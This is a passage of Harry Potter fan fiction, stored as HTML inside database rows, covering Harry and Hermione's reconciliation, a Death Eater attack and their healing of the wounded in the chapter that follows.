different&#8230;&#8221; Harry shook his head. &#8220;Very difficult to explain.&#8221;</p>\n\n<p>Dumbledore raised an eyebrow. &#8220;Care to try?&#8221; he asked.</p>\n\n<p>Harry fixed his green eyes on Minerva. &#8220;You&#8217;re the only one who fears the name in this room. I do not, because I&#8217;m a Citatio, Hermione doesn\'t because she&#8217;s a Pectal, and Professor Dumbledore doesn\'t, because he&#8217;s a very powerful wizard,&#8221; he said, and it suddenly occurred to Hermione that he was right; she didn&#8217;t fear the name anymore, like Ron did. </p>\n\n<p>Harry continued. &#8220;It&#8217;s like&#8230;something&#8230; is woven around the very name. Something evil that is in the air, and when the name is said, it triggers a fear reaction in the person who hears it.&#8221; </p>\n\n<p>Harry looked as confused as the other three. &#8220;But,&#8221; he said, slowly, &#8220;I managed to remove it from the Minister, so I should manage it with &#8216;Voldemort&#8217; too.&#8221;</p>\n\n<p>He stood and walked over to McGonagall. &#8220;May I?&#8221; he asked. McGonagall nodded; she was curious about this too. Harry placed two fingers on her forehead, and his eyes shone for a moment.</p>\n\n<p>Hermione followed his every move, curious about both the name and about Harry. She hadn&#8217;t seen him use his powers much yet, so she paid careful attention to what he did. </p>\n\n<p>Harry frowned; he&#8217;d found nothing in his search. <i>Okay, different approach,</i> he thought.</p>\n\n<p>&#8220;Voldemort,&#8221; he said, pronouncing it clearly, at the same time trying to find what magic was in the name. Professor McGonagall shivered, but not so visibly as she did before; she was trying to fight the urge. However, even though Harry came a few steps closer, he didn&#8217;t quite reach whatever it was he was trying to remove.</p>\n\n<p>&#8220;Minerva,&#8221; he said, (he&#8217;d gotten used to using his former professors\' first names now.) &#8220;Please say the name. Pronounce it loud and clear.&#8221;</p>\n\n<p>So McGonagall, though not knowing what Harry was doing, yet willing to be a part of the experiment, did so. She gathered her Gryffindor courage, and took a deep breath.</p>\n\n<p>&#8220;V-Voldemort,&quot; she said. Harry&#8217;s eyes suddenly lit up with a golden light, and an expression of triumph spread across his face. A few seconds later the light dimmed, and Harry took a few steps back, smiling.</p>\n\n<p>&#8220;Say the name again,&#8221; he said.</p>\n\n<p>&#8220;Voldemort,&#8221; McGonagall said, and her eyes widened in surprise. &#8220;What?&#8221; she said. &#8220;That- that was so easy!&#8221;</p>\n\n<p>But while McGonagall was marvelling over the &#8216;miracle&#8217;, Dumbledore was frowning. &#8220;Harry,&#8221; he said, and the others turned their attention to him. &#8220;I don&#8217;t know what you know about this new Talent, but I cannot bring myself to believe that Voldemort could bring the whole wizarding world to fear his name with magic. With killings and destruction, perhaps, but with magic?&#8221; Harry nodded at the Headmaster.</p>\n\n<p>&#8220;Yes, and you&#8217;re right. It&#8217;s a kind of combination between the two of them, and it can be fought. I&#8217;m sure you know that some wizards and witches nearly faint at the use of his name, while others just cringe slightly. You can &#8216;train&#8217; yourself not to fear it, in a way.&#8221;</p>\n\n<p>Hermione, McGonagall and Dumbledore raised their eyebrows.</p>\n\n<p>&#8220;What?&#8221; Harry said, confused.</p>\n\n<p>&#8220;And this you found out by just making Minerva say &#8216;Voldemort&#8217;?&#8221; Dumbledore asked.</p>\n\n<p>Harry smiled. &#8220;Yes, it provided me pretty much information. If I&#8217;d just looked for the same information when I searched Fudge, I would have known it before,&#8221; he said, and Dumbledore nodded.</p>\n\n<p>&#8220;So now the fear for Voldemort&#8217;s name is gone?&#8221; Hermione asked eagerly, but Harry shook his head.</p>\n\n<p>&#8220;No, what I did applies to Minerva alone. I can do it to everybody else, but I don&#8217;t particularly like the idea of doing it to thousands of others. Imagine the time it would take,&#8221; he answered. He looked thoughtful for a moment. The magic Voldemort had used was rather simple, yet it would take him quite an amount of time to repair the damage inflicted, if he should choose to try that.. &#8220;You know, it took Voldemort less than an hour to <i>do </i>it, and yet it would take me a decade to <i>un-do </i>it.&#8221; He scowled. &#8220;The man certainly loves to make my life difficult.&#8221; The three others chuckled at that. It wasn&#8217;t like it was very funny, but it was so bizarre that it was funny. Most people would probably phrase it a bit differently. But it was good in a way; one has to laugh at the small things, when you live in a world at war.</p>\n\n<p>In the end, Dumbledore decided it was time to depart. He remembered that Harry and Hermione had been rather &#8216;busy&#8217; when he arrived, and he was sure they still had something to settle. He didn&#8217;t voice that thought, though.&nbsp; He just announced his and McGonagall&#8217;s departure, and left. It was only afterwards he realised he hadn&#8217;t presented the proposition of teaching them to hide their Talents. <i>Oh well, </i>he thought. <i>I&#8217;ll deal with that later. They wouldn&#8217;t be paying attention anyway.</i></p>\n\n<p>~*~</p>\n\n<p>Harry and Hermione sat a few moments in silence, thinking. <i>Okay, what am I going to do now? &#8216;Hermione, can I kiss you again?&#8217; Erm&#8230;No. Perhaps not the best way to start this&#8230;Perhaps I should invite her to my rooms, so we could talk&#8230;</i>Next second: <i>No! That could look like something! I certainly won&#8217;t have her thinking that I just want to&#8230;</i> He chose not to finish that particular thought.</p>\n\n<p>&#8220;Err&#8230; Harry?&#8221; Hermione said, after a long silence. <i>Oh no, here it comes,</i> Harry thought.</p>\n\n<p>&#8220;Yes, Hermione,&#8221; even in his own ears his voice was strange. He licked his lips nervously, and forced himself to look at her. She looked nervous, yet she had a mischievous streak in her eyes.</p>\n\n<p>&#8220;What kind of name is &#8216;The Golden Mask&#8217;, really?&#8221; she asked, and Harry stared at her. That was certainly <i>not</i> what he&#8217;d expected. </p>\n\n<p>&#8220;Wh-what?&#8221; he croaked, and Hermione giggled like a silly schoolgirl. Next second, they both burst out laughing, for no apparent reason.</p>\n\n<p>~*~</p>\n\n<p>It was Hermione who suggested that they should go elsewhere to talk. Somewhere more comfortable ... and private.&nbsp; Harry, gathering his courage, suggested they should go to his living quarters, perhaps have a cup of tea, and well, talk. He prided himself on not rambling too much. Hermione agreed, though uncertainly. It wasn&#8217;t that she didn&#8217;t want to, but what if someone saw them? So Harry solved the problem by opening a Wandering portal to his living room, and dragged her through. While he made some tea, Hermione studied the portal, astonished. When Harry came back with tea, she proudly announced that she thought she knew how to close it. Harry beamed at her, but refused to let her try, considering that she already was exhausted. All this was only to delay what had to come, which was something that scared the living daylights out of both. In the end Harry motioned towards two chairs in front of the fireplace.</p>\n\n<p>Now came the hardest thing: <i>How to begin?</i></p>\n\n<p>An awkward silence followed. Harry nervously took a sip of his tea, and grimaced. In his rush he&#8217;d made lemon tea instead of mint tea, and he&#8217;d completely forgotten to ask Hermione what she preferred. He decided it was time to break the silence, and cleared his throat. Hermione, who had been very interested in the patterns on her tea-cup, looked at him.</p>\n\n<p>&#8220;Hermione,&#8221; he said, but his voice failed him. &#8220;Hermione,&#8221; he said again. &#8220;I j-just wanted to say that I&#8217;m sorry.&#8221; He didn&#8217;t dare to look at her.</p>\n\n<p>Hermione stared at him. Whatever she had expected, it wasn&#8217;t that. Why should <i>he</i> apologise?</p>\n\n<p>&#8220;Harry,&#8221; she said softly, &#8220;why are you apologising to me? It&#8217;s I who should apologise to you.&#8221; Finally, Harry looked at her, and his eyes carried a mixture of love, hope, sadness, and regret.</p>\n\n<p>&#8220;For what I said to you,&#8221; he replied. &#8220;I didn&#8217;t mean what I said, and it hurt you so much,&#8221; he said, miserably. </p>\n\n<p>Hermione felt so bad. He was miserable because he&#8217;d hurt her, when he had been completely right! Of course it had hurt her, but now she could see how wrong she had been, and how right he had been. After all, she <i>had</i> betrayed him in the worst way imaginable, and then, she&#8217;d got angry at him because he didn&#8217;t come straight back to her, but hid from her instead. Hermione mentally smacked herself. Why hadn&#8217;t she realised this before? She was supposed to be very intelligent, and yet, she&#8217;d behaved so terribly, terribly stupid. She suddenly realised exactly <i>how</i> stupid she&#8217;d been. She had known the truth for a long time now, but she hadn&#8217;t really realised exactly <i>what </i>it meant. She&#8217;d been so buried in her own petty sorrows and problems, that she hadn&#8217;t really thought about it. But now when she did, she was shocked beyond belief at her own stupidity. </p>\n\n<p>&#8220;Oh Harry,&#8221; she said hoarsely, tears in her eyes. <i>Stupid tears. Idiot, you shan&#8217;t cry now!</i> &#8220;Don&#8217;t be sorry. You have nothing to be sorry about. It was I who was the stupid one. If what you said hurt me, then what I believed about you must have hurt you too. Please Harry, don&#8217;t be sorry. I deserved it.&#8221; And she did. She deserved everything she got. She&#8217;d believed he was a murderer. A tear silently slid down her check. <i>Idiot. A few minutes ago you were laughing together with him, and now you&#8217;re crying. </i>Hermione chastised herself. <i>But what if he&#8217;ll never forgive me? </i>A voice in her head said. <i>But he did kiss me,</i> the more optimistic voice replied. <i>Heck, I don&#8217;t deserve it! </i>The first voice argued back. <i>But perhaps he doesn\'t care about that.</i> The optimistic voice again.</p>\n\n<p>She heard a rustle of clothes and looked up into Harry&#8217;s concerned eyes, where he was kneeling beside her chair. He extended a hand and brushed the tear away.</p>\n\n<p>&#8220;Please, Hermione, don&#8217;t cry. I don&#8217;t like seeing you cry,&#8221; he said, but this only brought more tears to her eyes. How could he be so kind to her, when she&#8217;d been such a bitch to him? She jerked away from him, and hid her face in her hands.</p>\n\n<p>&#8220;I&#8217;m so sorry, Harry, I&#8217;m sorry,&#8221; she whispered. &#8220;So sorry,&#8221; she sobbed. She wanted him to go away, she didn&#8217;t deserve either his concern or his love. But she wanted it so much. Next second she felt him wrap his strong arms around her, embracing her tightly but gently. </p>\n\n<p>&#8220;Hermione,&#8221; he whispered, &#8220;please don&#8217;t cry. Please be happy again. I don&#8217;t want you to cry. You\'ll make me cry too.&#8221;</p>\n\n<p>Hermione couldn&#8217;t help herself. She melted into his arms, her body now shaking with sobs. Why was he doing this? Why didn&#8217;t he just leave?</p>\n\n<p>&#8220;I&#8217;m sorry,&#8221; she said again, between the sobs.</p>\n\n<p>&#8220;Shh,&#8221; Harry soothed. &#8220;Don&#8217;t be. I forgive you.&#8221; </p>\n\n<p><i>Wha-?</i></p>\n\n<p>&nbsp;&#8220;I forgive you,&#8221; Harry repeated. </p>\n\n<p>Hermione forgot to cry. &#8220;What?&#8221; she asked. &#8220;Why?&#8221;</p>\n\n<p>Harry smiled. &#8220;I forgive you,&#8221; he said again. &#8220;Because I want to.&#8221;</p>\n\n<p>&#8220;But I don&#8217;t deserve it,&#8221; Hermione objected, and Harry laughed softly.</p>\n\n<p>&#8220;Are you arguing with my decision, Hermione?&#8221; he asked, and she blushed.</p>\n\n<p>&#8220;But I don&#8217;t,&#8221; she said again, though her spirits started to rise again.</p>\n\n<p>&#8220;Perhaps, perhaps not. It&#8217;s up to me to decide.&#8221; He smiled again. &#8220;What? You don&#8217;t want me to forgive you?&#8221;</p>\n\n<p>&#8220;Well yes, of course I do, I just- you don&#8217;t- I can&#8217;t&#8220; She was rambling, and Harry chuckled.</p>\n\n<p>&#8220;Finish your sentences, will you?&#8221; he said, and she blushed again. Harry still had his arms around her, and she was quite content where she was. But she had a question she had to ask.</p>\n\n<p>&#8220;Harry,&#8221; she said softly.</p>\n\n<p>&#8220;Yes,&#8221; he answered.</p>\n\n<p>&#8220;How- I mean; what is going to happen now?&#8221; she avoided his eyes. &#8220;I mean, lots of things have happened since&#8230;&#8221; she trailed off. She remembered his trial all too well, and she didn&#8217;t doubt he remembered it better.</p>\n\n<p>He didn&#8217;t say anything. Finally she dared to look at his face again. What she saw scared her. His eyes were so&#8230;dead. So haunted. She shuddered, knowing she&#8217;d been the cause, at least partially. He noticed her shudder, and his eyes snapped back to her again, and she cowered under his gaze. His eyes softened and he rose. He took her by her shoulders and led her over to the window.</p>\n\n<p>&#8220;Look at the sunset, Hermione,&#8221; he said. Confused, she did so. The sun was colouring the sky crimson, purple and pink, and made the mountains cast long shadows.</p>\n\n<p>&#8220;It&#8217;s beautiful,&#8221; she said.</p>\n\n<p>&#8220;So let\'s concentrate on that. Let\'s forget the bad things, and remember the good and beautiful things,&#8221; he said. &#8220;Let\'s forget about the past.&#8221; His arms slid around her waist from behind. &#8220;I just want to think about the future.&#8221;</p>\n\n<p>~*~</p>\n\n<p>When Hermione woke up the next morning, she felt more at peace than she could remember. It took a few minutes before she understood why. Apparently, she had fallen asleep in front of the fireplace together with Harry, and that was why she woke up with her head resting on his chest, and his arms wrapped around her waist. She didn&#8217;t mind though. She was happy to be in <i>Harry&#8217;s </i>arms. Of course, she knew they still had a long way to go, but at least they had made up. That was a beginning.</p>\n\n<p>She figured she was rather comfortable, and didn&#8217;t really want to get up yet, so she decided against it. It was nice laying there, enjoying the warmth he emitted, and listening to his heartbeats and even breaths. In fact, he smelled very nice too; a mix of masculinity, fresh air and after-shave. She giggled and buried her head deeper in his chest, inhaling his scent deeply. Unfortunately, Harry was a light sleeper and woke up because of her movement. He blinked a couple times, realising what he had in his arms, and sat up. Hermione sighed disappointedly and curled up in his lap instead. He grinned slightly and yawned.</p>\n\n<p>&#8220;Guess we fell asleep,&#8221; he said.</p>\n\n<p>&#8220;Mmm,&#8221; Hermione murmured. </p>\n\n<p>He chuckled. &#8220;Hermione,&#8221; he said, &#8220;as much as I hate to mention it, it&#8217;s morning, and we both have classes to attend to. So we really have to get up.&#8221;</p>\n\n<p>Hermione sighed. &#8220;But you haven&#8217;t answered my question yet,&#8221; she complained, and Harry looked confusedly at her.</p>\n\n<p>&#8220;Your question? What question?&#8221; he asked.</p>\n\n<p>&#8220;The one about \'The Golden Mask\'. I asked what kind of name that was,&#8221; Hermione said. </p>\n\n<p>Harry grinned inwardly. Hermione was trying to drag out the time, and personally, he didn&#8217;t mind that much. &#8220;Oh, that. Why did you even ask that question? It wasn&#8217;t really what I&#8217;d thought you&#8217;d ask,&#8221; he said.</p>\n\n<p>&#8220;I was trying to lighten the mood,&#8221; Hermione defended herself. &#8220;And as far as I remember, it worked. We both laughed our heads off, because it was so silly.&#8221;</p>\n\n<p>&#8220;As far as <i>I </i>remember, it didn&#8217;t work at all. You still ended up sobbing in my arms,&#8221; Harry replied.</p>\n\n<p>&#8220;So?&#8221; Hermione pouted. &#8220;Then you could do that manly, comfort-the-girl thing of yours. You shouldn&#8217;t really mind that.&#8221;</p>\n\n<p>&#8220;Well, okay, I admit it,&#8221; Harry said. &#8220;I didn&#8217;t mind that much.&#8221; He leaned back and rested his back against one of the chairs, before settling her more comfortably in his lap. &#8220;But for your question; it wasn&#8217;t me who chose the name. It was the public and the press. I&#8217;ve never even talked to a living person &#8211;well, except once- when I&#8217;ve been &#8216;The Golden Mask&#8217;. Personally I agree with you: it&#8217;s an absolutely ridiculous name.&#8221;</p>\n\n<p>Hermione turned to look at him. &#8220;It&#8217;s your fault you know, with that costume,&#8221; she said. &#8220;Honestly, red clashes horribly with your eyes.&#8221;</p>\n\n<p>&#8220;Once a Gryffindor, always a Gryffindor,&#8221; Harry defended himself. &#8220;Anyway, they could easily have found a better name; like Contorqueo* or Opacus*. Sceadu* is a good choice too, and Cieux*, or perhaps-&#8221; </p>\n\n<p>He was interrupted by Hermione, &#8220;Stop showing off your Language gift, I don&#8217;t understand a thing,&#8221; she grunted, but she was smiling. &#8220;I get your point. But I like <i>Adonis* </i>better.&#8221; Then, Harry blushed.</p>\n\n<p>~*~</p>\n\n<p>It was a little time later, after a bit of cosy cuddling (it was weird how easy it was to forget everything that had happened&#8230;), that Harry decided it was time for Hermione to return to her dorm, before someone discovered her absence.</p>\n\n<p>&#8220;But how am I going to manage that?&#8221; Hermione said. &#8220;I have to wander through the whole castle.&quot;</p>\n\n<p>&#8220;Well,&#8221; Harry said. &#8220;There are two ways; you can borrow my invisibility cloak-&#8220; He was interrupted.</p>\n\n<p>&#8220;But that was confiscated by the Ministry!&#8221; Hermione exclaimed.</p>\n\n<p>Harry didn&#8217;t really fancy starting on that story now. &#8220;Long story that, we&#8217;ll take it later. The second option is to teach you to Wander.&#8221;</p>\n\n<p>Hermione squealed like a little girl. <i>Must be a girl thing,</i> Harry mused.</p>\n\n<p>It took him exactly ten minutes to teach her how to open a gate, five minutes to teach her how to close it, and nine minutes to teach her how to end up where she wanted to end up. He didn&#8217;t have the time to teach her how to make it invisible, so he just made sure she got safely into her room, telling her <i>not</i> to use it when he wasn&#8217;t there. Hermione&#8217;s innocent smile told him she was not going to listen. </p>\n\n<p>He just hoped she wouldn&#8217;t get caught.</p>\n\n<p>---------------------------------</p>\n\n<p>* Contorqueo: Latin for <i>Power</i></p>\n\n<p>* Opacus: Latin for <i>Shadow</i></p>\n\n<p>* Sceadu: Old English for <i>Shadow</i></p>\n\n<p>* Cieux: Part of the French word <i>Silencieux</i>, which means <i>Silent.</i> Also plural of <i>Ciel, </i>which means <i>sky.</i></p>\n\n<p>* Adonis: <i>Adonis </i>is a part of Greek Mythology. Apparently, he was an extremely handsome young man, and two Goddesses, Persephone and Venus, fell in love with him. To avoid quarrels, Zeus decided that he should spend one half of the year with one of them, and the other half with the other. Unfortunately, a dog attacked him while he was out hunting, and killed him. He died in Venus&#8217;s arms, and an anemone rose from his blood. (Information provided by <i>Naia</i>)</p>\n\n<p>[I&#8217;m not entirely sure of any of these words, please correct me if I&#8217;m wrong.]</p>\n\n<p>====================</p>\n\n<p><b>Disclaimer</b>: Duh&#8230; (My disclaimers are getting a bit boring, aren&#8217;t they?)</p> '),
	(234, 12, ''),
	(234, 13, ' <p><b>Chapter Thirteen: Revelations</b>\n\n</p>\n\n<p><i>This is&nbsp; not good, </i>Harry thought, which was the understatement of the millennium. Voldemort was powerful, he knew that. But he couldn&#8217;t be a Citatio, because that would make two Citatios. And if he wasn&#8217;t a Citatio, and still could Wander, what was he then? <i>Right Harry, don&#8217;t panic. Stay calm.</i> But how could he, when people were being murdered all around him? <i>First thing first,</i> he thought. A quick telepathic message, and all the children started to run for his portal. This caused distraction for the Death Eaters who were practically <i>streaming</i> out of Voldemort&#8217;s portal. One of them shot a curse at one of the children, but missed. </p>\n\n<p>The curse however, woke the stunned audience. Only Harry knew what was really happening, but everybody understood they were in grave danger. The crowd was no longer silent. More curses from the Death Eaters were answered by curses from the crowd. The Aurors gathered some of them and fought back, but there seemed to be no end to the dark wizards. Harry saw people fall from the Killing curse, others were severely damaged by Cutting curses and Burning hexes. The Cruciatus was a favourite it seemed. </p>\n\n<p>Making sure every child was safely through the portal Harry closed it, and sent a calming reassurance to hysterical parents, who thought this was a Death Eater product. Then he sent a powerful energy blast into the Death Eater forces, knocking several of them out, perhaps even killing them. Then he stepped out of the shadows.</p>\n\n<p>He was impressive, he knew that. He was surrounded by a golden glow, and through it you could see the red robes. It was for that reason he&#8217;d chosen the red colour, other than his being a Gryffindor, as darker colours would be more fitting for a &#8216;Hero&#8217;. It was a warm colour, easy to spot, and an opposite of the Death Eaters&#8217; black. Red went nicely with gold too, and was a small piece of colour in an otherwise dark world.</p>\n\n<p>His appearance caused angry shouts from the Death Eaters, and awed exclamations from all others. Those of the Death Eaters who hadn&#8217;t noticed the Aurors before now, did, and realised they were expected. This caused a few moments of hesitation, enough for the Aurors to organise themselves better, but not long enough. The Death Eaters were many, and knew they&#8217;d probably win, even though the Aurors had protection from the Avada Kedavra. The spell had to be recast every time they were hit, and that took a few seconds. A few seconds they didn&#8217;t have. A few seconds the Death Eaters quickly learned to use.</p>\n\n<p>So they charged.</p>\n\n<p>~*~</p>\n\n<p>Harry was exhausted, both physically, mentally and magically. He was shocked, worried and furious. He was wounded, cut and bloody. His head was spinning and he was dizzy. All he wanted was to lie down and sleep forever, and forget about the world.</p>\n\n<p>He was ecstatic, happy and triumphant.</p>\n\n<p>Arthur Weasley was alive.</p>\n\n<p>He was alive.</p>\n\n<p>Three hundred and fifty-four innocent citizens were dead. One hundred and fifty-seven&nbsp; wounded. </p>\n\n<p>One hundred and forty-three Death Eaters were dead or captured.</p>\n\n<p>Twenty-four Aurors were dead. Seventeen wounded.</p>\n\n<p>Five Order members dead. Seven wounded.</p>\n\n<p>Voldemort was probably furious.</p>\n\n<p>Voldemort had been there. He had shown he was powerful. Harry couldn&#8217;t open a fifty foot wide Wander portal. Harry couldn&#8217;t kill twenty persons with a single blow. How they had managed to drive him back, was something Harry would marvel at forever. Perhaps it was because the Minister was out of reach, and Voldemort probably concluded that they had caused enough damage. The Death Eaters <i>had</i> scared the living daylights out of the Wizarding world, and they <i>had</i> showed how powerful and how numerous they really were. More wasn&#8217;t yet needed.</p>\n\n<p>Well, except getting rid of that Citatio. Which Voldemort fortunately had to give up. Even though he was more powerful than Harry, it didn&#8217;t help him much. He couldn&#8217;t manage to catch him, as Harry was too fast. So they left. They didn&#8217;t flee. What was there to flee from? Dead bodies? </p>\n\n<p>No, they left. As if they had only been visiting for tea.</p>\n\n<p>Leaving the Wizarding world to tend to its wounds.</p>\n\n<p>Much was going to be revealed. The members of the Order of the Phoenix would be revealed. Even though everyone knew Dumbledore was the leader, few knew who the members were, and that most of them were this century&#8217;s brightest wizards and witches: Healers, Potions Masters, Transfigurations Masters, Charms Masters. Some of them were even Muggles: Technicians, Scientists, Medics, etc. They were the defensive part of it. The offensive part of The Order of the Phoenix, consisted of Duelling Masters, Combat Masters, Strategists and Tacticians. They were about twenty-five in numbers. Well, now they were twenty. Five of the seventeen who had been at the Attack were now dead.</p>\n\n<p>All this would be revealed to the public eye, because with so many wounded and dead people, they couldn&#8217;t stay in the shadows and leave the clean-up to others. It was time to stand forward, unite the Wizarding world, and fight.</p>\n\n<p>But that wasn&#8217;t what scared Harry the most. He would be revealed. He and Hermione. First to the Order of the Phoenix, and the Aurors, and then to the rest of the world. They wouldn&#8217;t be able to hide it anymore, as several of the captured Death Eaters knew about them, and they wouldn&#8217;t keep their mouths shut. Besides, it <i>is </i>easier to work with an ally you know the name of. It&#8217;s easier to trust the ally too, then.</p>\n\n<p>That was why he was running through the corridor, to a part of Hogwarts which the Marauders had never found. A hidden wing, in which the Order members stayed when they were at the castle. A labyrinth of corridors, rooms and halls. It was here, to one of the big, empty rooms they brought the critically wounded ones. All of the others were brought to St. Mungo, where they were treated by both Order members who weren&#8217;t at Hogwarts, and St. Mungo&#8217;s doctors.</p>\n\n<p>He stopped outside the door. &#8220;Do you think you can do this?&#8221; he asked worriedly.</p>\n\n<p>Hermione squeezed his hand reassuringly. &#8220;I have to, Harry. You wouldn&#8217;t let me come with you today, because you claimed I&#8217;m not ready for combat, but this I have to do. If I can save lives, I will.&#8221; She placed a quick kiss on his lips. &#8220;Don&#8217;t worry, I&#8217;m not afraid of blood, you know.&#8221;</p>\n\n<p>Harry shook his head. What awaited her on the other side of the door could only be described as horrible, but he knew she was right. She had to go in there.</p>\n\n<p>Hermione paled when she entered. The smell, the sounds and the sight told of blood and death. <i>Oh God,</i> she thought. She felt Harry&#8217;s gentle touch on her shoulder, and ground her teeth together. She could do this!</p>\n\n<p>One of the Order Healers briskly asked her what a child like her was doing here, but Hermione ignored her completely, and stepped past her. She had eyes for the young woman on the nearest bed only. The Healer tried to stop her, but froze in her tracks when she saw Hermione&#8217;s silver eyes. She knew what <i>that</i> meant. She turned to Harry, and suddenly noticed the scar on his forehead. Her jaw dropped. Harry raised an eyebrow, before grabbing her wrist and dragging her over to another patient.</p>\n\n<p>&#8220;I&#8217;m a powerful magician,&#8221; he said, &#8220;but I have never had any tutoring in the Healing arts. Tell me what to do.&#8221;</p>\n\n<p>~*~</p>\n\n<p>Hermione was exhausted, Harry could easily tell. Yet, she carried on with her task, never wavering. She&#8217;d been working for four hours straight, and Harry was immensely surprised by her stamina. Proud too. The Healers had been surprised when they noticed her, but they were all intelligent beings, and understood what she was and what she did. They led her away from the patients they could handle themselves, over to those who were dying, and often missing a limb, or having most of their skin burnt away. They watched her in amazement, and those who knew a bit about Pectals, were impressed.</p>\n\n<p>Harry too was busy. He learned quickly, and cast powerful healing charms and spells, and healed wounds an average spellcaster couldn&#8217;t even dream of, as healing magic was one of the most difficult magical arts. But there were so many of them! People died before their eyes, because they didn&#8217;t reach them in time.</p>\n\n<p>Fortunately, after four hours, they began to get the situation under control. One of the Healers approached Harry. Harry looked up, his eyes glowing. He had put what he had left of his Citatio energy into his spells.</p>\n\n<p>&#8220;Mr. Potter,&#8221; the Healer said, and Harry&#8217;s lips twitched slightly. They had quickly accepted his presence, even though he&#8217;d been gone the last two, almost three, years, and had probably guessed that they would get their questions answered later. He liked that kind of person. &#8220;You came with the Pectal, didn&#8217;t you?&#8221; he asked, and Harry nodded. The Healer continued. &#8220;Well, I suggest you take her away from here now. She&#8217;s exhausted and we don&#8217;t need her anymore. We can manage it ourselves now.&#8221;</p>\n\n<p>Harry broke into a genuine smile, and thanked the man. He was definitely a likeable person. He found her in the other end of the room. She had collapsed in a chair, dead tired. She was sweaty, and was panting slightly. &lt;Sweetheart,&gt; Harry murmured in her mind, and she opened her eyes, looking around for him. He kneeled beside her chair, and she looked at him through half-closed lids. &#8220;You need to rest,&#8221; he said. Ignoring her muttered protests, he effortlessly picked her up in his arms, and walked out of the improvised hospital.</p>\n\n<p><i>Now, where to take her&#8230;</i> He couldn&#8217;t take her to her dorm, that wouldn&#8217;t do. But she needed to lie down in a bed. <i>It&#8217;ll have to be my room then,</i> he thought. But how to get there, without being spotted by students&#8230; He mentally slapped himself. At two AM? But anyway&#8230;</p>\n\n<p>&#8220;Harry!&#8221;</p>\n\n<p>He spun around, almost losing Hermione in the process, and stared up at&#8230;Sirius. Sirius had been one of the Order members at the election. He had been wounded, but not seriously, and had been treated at St. Mungo. Harry guessed he had been unable to return to Hogwarts before now.</p>\n\n<p>&#8220;Oh, Sirius,&#8221; he said. &#8220;What are you doing here?&#8221;</p>\n\n<p>Sirius chuckled a little at his godson&#8217;s startled expression. &#8220;What a way to greet your godfather who you haven&#8217;t seen it two weeks,&#8221; he said, still chuckling. His eyes wandered over to Hermione, who was cradled in Harry&#8217;s arms, seemingly oblivious to the world around her. He grinned devilishly, which only strengthened Harry&#8217;s suspicion: He knew something. &#8220;By the way Harry, it seems like you have forgotten to tell me something&#8230;&#8221; Sirius continued. </p>\n\n<p><i>Yep, he knows.</i> Harry thought, while groaning silently. &#8220;Who said I <i>forgot?</i>&#8221; he asked, and arched an eyebrow at Sirius. He then turned around and stalked away from his godfather, a small smile playing on his lips. &lt;Please, Sirius,&gt; he spoke mentally to him. &lt;Let&#8217;s take that later, shall we?&gt; His smile widened into a grin, as he imagined Sirius&#8217; expression when he heard Harry&#8217;s voice in his mind.</p>\n\n<p>~*~</p>\n\n<p>Harry managed to get to his rooms without being spotted by students walking around after curfew. He put Hermione on his bed and made sure she was covered by a blanket, before he sank down in a chair in the living room. He sighed. He was exhausted too. And he was thirsty&#8230;</p>\n\n<p>He must have fallen asleep, and when he woke up, all the candles in his room had died down. For a second he wondered what had woken him, before he realised there was someone else in the room. He shot up and had his wand trained at the person before one could blink. He then lowered his wand and sighed.</p>\n\n<p>&#8220;Hermione, what are you doing out of bed?&#8221; he asked.</p>\n\n<p>She glared at him. &#8220;Just trying to find out where I am,&#8221; she answered. &#8220;and when did it become your concern whether I&#8217;m in bed or not?&#8221;</p>\n\n<p>&#8220;When you became a Pectal. It&#8217;s my responsibility to make sure you don&#8217;t exhaust yourself.&#8221; He grabbed her by her shoulders and gently steered her back to the bed.</p>\n\n<p>She sighed, but obediently lay down. He tucked her in, and was about to leave the room, when she stopped him.</p>\n\n<p>&#8220;Stay,&#8221; she whispered. &#8220;Please.&#8221;</p>\n\n<p>Harry wavered a second. <i>Stay? In the same bed as her?</i> He gulped. <i>Well, it can&#8217;t hurt&#8230;The bed is wide enough.</i> He lay down beside her and conjured up a blanket for himself. She scooted closer and snuggled up to him. Harry&#8217;s eyes widened slightly in surprise, but he didn&#8217;t say anything. Hesitantly, he laid his arm around her shoulders. She didn&#8217;t seem to mind. He grinned to himself. <i>I can get used to this&#8230;</i></p>\n\n<p>~*~</p>\n\n<p>When Harry woke up he noticed two things. Firstly: The sun was up, far up. It was past mid-day at least. Secondly: He wasn&#8217;t alone in bed. He almost jumped out of his skin before his memory returned. He let out a relieved sigh. It was only Hermione. </p>\n\n<p><i>She&#8217;s beautiful,</i> he thought, and then he chuckled to himself. Her hair and clothes was a mess, and she had other people&#8217;s blood splattered all over, and she smelled of sweat. And she was absolutely gorgeous.</p>\n\n<p>Harry wondered why his internal organs had decided to take flying lessons. Right now they were in a dip, and he had a sudden desire to just kiss her senseless. However, seeing that he was in the same condition as she was, he concluded that it wouldn&#8217;t be the best idea. Sighing, he crawled out of bed, careful not to wake her, picked up some clean clothes and headed for the bathroom.</p>\n\n<p>Fifteen minutes later he re-emerged, water dripping from his hair.</p>\n\n<p>&#8220;Morning Harry,&#8221;</p>\n\n<p>He spun around to find a quite awake Hermione sitting on his bed.</p>\n\n<p>&#8220;Can I use your bathroom?&#8221; she asked.</p>\n\n<p>He nodded. &#8220;Of course,&#8221; he said, before he noticed that Hermione was looking at him. Now, that wasn&#8217;t very uncommon, it was more <i>what </i>she was looking at. Blushing furiously he quickly buttoned his open shirt and disappeared out of the bedroom as quickly as possible, followed by her giggles. He shifted into Christian and left the room. He had things to do and matters to solve. Firstly, he had to talk to Dumbledore.</p>\n\n<p>~*~</p>\n\n<p>Hermione had yet to come out from the bathroom when Harry came back, so he called a house-elf for breakfast. Well, rather lunch. He was halfway through his meal before Hermione showed up. (Why do girls take so long in the bathroom?) She grabbed her plate (Harry had gotten one for her too, of course) and seated herself beside Harry. They ate in silence. Well, at least Harry ate; Hermione only picked at her food. In the end Harry sighed, and put his plate down. It disappeared immediately. Hermione looked up at the soft pop it caused, and found Harry looking expectantly at her. She smiled inwardly: He always seemed to know what she was thinking.</p>\n\n<p>&#8220;What&#8217;s going to happen now?&#8221; she asked, and she saw Harry smile amused at her. </p>\n\n<p>&#8220;You do have a knack for mathematics, Hermione. When you put two and two together you usually get five,&#8221; he grinned at her. &#8220;Well, as you have already guessed, everything will be revealed. After this it won&#8217;t be possible to hide it. You will be revealed, I will be revealed, the Order will be revealed. This doesn&#8217;t have to turn out negatively, as we have a new Minister, who will ensure protection for the members, and start recruiting Aurors as quickly as possible.&#8221; He paused. &#8220;As I said, it doesn&#8217;t <i>have</i> to turn out in a bad way, 